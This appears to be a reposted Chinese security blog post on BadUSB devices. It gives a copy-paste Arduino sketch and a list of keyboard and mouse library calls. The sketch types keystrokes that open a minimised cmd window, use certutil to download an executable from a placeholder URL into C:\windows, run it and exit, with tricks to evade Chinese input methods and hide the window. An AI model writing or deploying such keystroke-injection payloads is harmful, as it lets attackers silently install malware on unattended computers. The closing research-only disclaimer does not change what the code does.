前言:每次要用的时候才后悔为啥当时没好好做笔记...本文记录badusb的一些小坑的处理方法,复制粘贴可用。
推荐比较好用的编译器Arduino,官网地址:
https://www.arduino.cc/
下载完安装上就行,免费的,我这里用的是旧版本,没更新。
插上badusb以后,选择端口,选择开发板
然后把要执行的东西复制进来就行了,直接贴上来吧,处理了一上午觉得比较好用的
1、国内很多人的键盘输入法默认是中文,这种情况下插入U盘执行命令的时候会出问题。比如'-F'输入后变成'-发'
2、cmd窗口最小化运行
3、执行完程序自动退出cmd窗口
void setup() {
Keyboard.begin();
delay(2000); // 初始延时
Keyboard.press(KEY_LEFT_GUI);
delay(100);
Keyboard.print("r");
delay(100);
Keyboard.release(KEY_LEFT_GUI);
delay(100);
Keyboard.println("cmd /t:01 /k @ECHO OFF && MODE CON:COLS=15 LINES=1");
delay(1000);
Keyboard.println("CERTUTIL -URLCACHE -SPLIT -F https://127.0.0.1/system.exe && c:\windows\system.exe &&exit") ;
Keyboard.end(); // 结束键盘通讯
}
void loop() {
}
0x03 实际测试
具体按键
delay(5000);//延时毫秒
Keyboard.begin(); //开始键盘通讯
Keyboard.end(); //结束键盘通讯
Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来
Keyboard.release(); //释放键盘按键
Keyboard.println(""); //输入字符串使用双引号括起来
Mouse.begin();//鼠标事件开始
Mouse.click();//鼠标单击
Mouse.end();//鼠标事件结束
Mouse.move();//鼠标移动(x,y)
Mouse.press();//鼠标按下
Mouse.release();//鼠标松开
Mouse.isPressed();//
KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI //win键
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN//回车键
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12
原文始发于微信公众号(警戒线安全):badusb的一些小事
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论